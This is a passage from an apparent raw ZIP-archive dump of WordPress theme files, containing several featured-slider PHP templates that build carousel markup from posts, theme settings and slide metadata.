                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
        
    </div>

<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\ϠD      featured_slider/style-36.phpnu [        <?php
/**
 * Template part for Slider Style 36
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\QQ      featured_slider/style-31.phpnu [        <?php
/**
 * Template part for Slider Style 31
 */
$image_size = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-single-full';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
$number = get_theme_mod( 'penci_featured_slider_slides' );
if ( ! $number ): $number = - 1; endif;
$penci_slider_height = get_theme_mod( 'penci_featured_penci_slider_height' );
if ( ! $penci_slider_height || ! is_numeric( $penci_slider_height ) ): $penci_slider_height = 550; endif;
$orderby = 'menu_order';
if ( get_theme_mod( 'penci_featured_slider_random' ) ):
	$orderby = 'rand';
endif;

$featured_args = array(
	'post_type'      => 'penci_slider',
	'order'          => 'ASC',
	'orderby'        => $orderby,
	'posts_per_page' => $number
);

$feat_query = new WP_Query( $featured_args );
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
	<?php
	/* Get data of this slide */
	$image_url       = get_post_meta( $post->ID, '_penci_slider_image', true );
	$image_url       = ! $image_url ? '' : $image_url;
	$slider_title    = get_post_meta( $post->ID, '_penci_slider_title', true );
	$slider_title    = ! $slider_title ? '' : $slider_title;
	$caption         = get_post_meta( $post->ID, '_penci_slider_caption', true );
	$caption         = ! $caption ? '' : $caption;
	$button_text     = get_post_meta( $post->ID, '_penci_slider_button', true );
	$button_text     = ! $button_text ? '' : $button_text;
	$title_color     = get_post_meta( $post->ID, '_penci_slider_title_color', true );
	$title_style     = ! $title_color ? '' : ' style="color: ' . $title_color . '"';
	$title_bgcolor   = get_post_meta( $post->ID, '_penci_slider_title_bgcolor', true );
	$title_bgcolor   = ! $title_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $title_bgcolor, '0.4' ) . '"';
	$caption_color   = get_post_meta( $post->ID, '_penci_slider_caption_color', true );
	$caption_style   = ! $caption_color ? '' : ' style="color: ' . $caption_color . '"';
	$caption_bgcolor = get_post_meta( $post->ID, '_penci_slider_caption_bgcolor', true );
	$caption_bgcolor = ! $caption_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $caption_bgcolor, '0.4' ) . '"';
	$button_bg       = get_post_meta( $post->ID, '_penci_slider_button_bg', true );
	$button_bg       = ! $button_bg ? '' : 'background: ' . $button_bg . ';';
	$button_color    = get_post_meta( $post->ID, '_penci_slider_button_text_color', true );
	$button_color    = ! $button_color ? '' : 'color: ' . $button_color;
	$animation       = get_post_meta( $post->ID, '_penci_slide_element_animation', true );
	$animation       = ! $animation ? 'fadeInUp' : $animation;

	$style_button = '';
	if ( ! empty( $button_bg ) || ! empty( $button_color ) ): $style_button = ' style="' . $button_bg . $button_color . '"'; endif;
	$button_html = '';

	if ( ! empty( $button_text ) ) {
		$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . '>' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		$button_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
		$button_url  = ! $button_url ? '' : $button_url;
		if ( ! empty( $button_url ) ):
			$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . ' href="' . esc_url( do_shortcode( $button_url ) ) . '">' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		endif;
	}
	$slider_align = get_post_meta( $post->ID, '_penci_slide_alignment', true );
	$slider_align = ! $slider_align ? 'center' : $slider_align;

	$buttonlink_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
	$open_link_html  = '';
	$close_link_html = '';
	if ( $buttonlink_url ) {
		$open_link_html  = '<a href="' . esc_url( do_shortcode( $buttonlink_url ) ) . '">';
		$close_link_html = '</a>';
	}

	if ( ! empty( $image_url ) ):
		?>
        <div class="item swiper-slide pencislider-item">
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                <div class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                     data-bgset="<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>"
                     style="height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } else { ?>
                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>'); height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } ?>

            <div class="pencislider-container penci-<?php echo esc_attr( $animation ); ?> align-<?php echo esc_attr( $slider_align ); ?>">
                <div class="pencislider-content">
					<?php if ( ! empty( $slider_title ) ): ?>
                        <h2 class="pencislider-title"<?php echo( $title_style ); ?>><?php echo $open_link_html . '<span class="pencititle-inner-bg"' . $title_bgcolor . '>' . do_shortcode( $slider_title ) . '</span>' . $close_link_html; ?></h2>
					<?php endif; ?>
					<?php if ( ! empty( $caption ) ): ?>
                        <p class="pencislider-caption"<?php echo( $caption_style ); ?>><span
                                    class="pencicaption-inner-bg"<?php echo $caption_bgcolor; ?>><?php echo do_shortcode( $caption ); ?></span>
                        </p>
					<?php endif; ?>
					<?php echo( $button_html ); ?>
                </div>
            </div>
        </div>
	<?php endif; /* Igrone if doesn't exists image */ ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\      featured_slider/style-3.phpnu [        <?php
/**
 * Template part for Slider Style 3
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\ve      featured_slider/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\      featured_slider/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile );
				if ( ( $i % 5 == 4 || $i % 5 == 0 )) {
                    $bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_mobile );
                }
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\"I)YK  K    featured_slider/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                        <?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										
                                        <?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\u6t      featured_slider/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
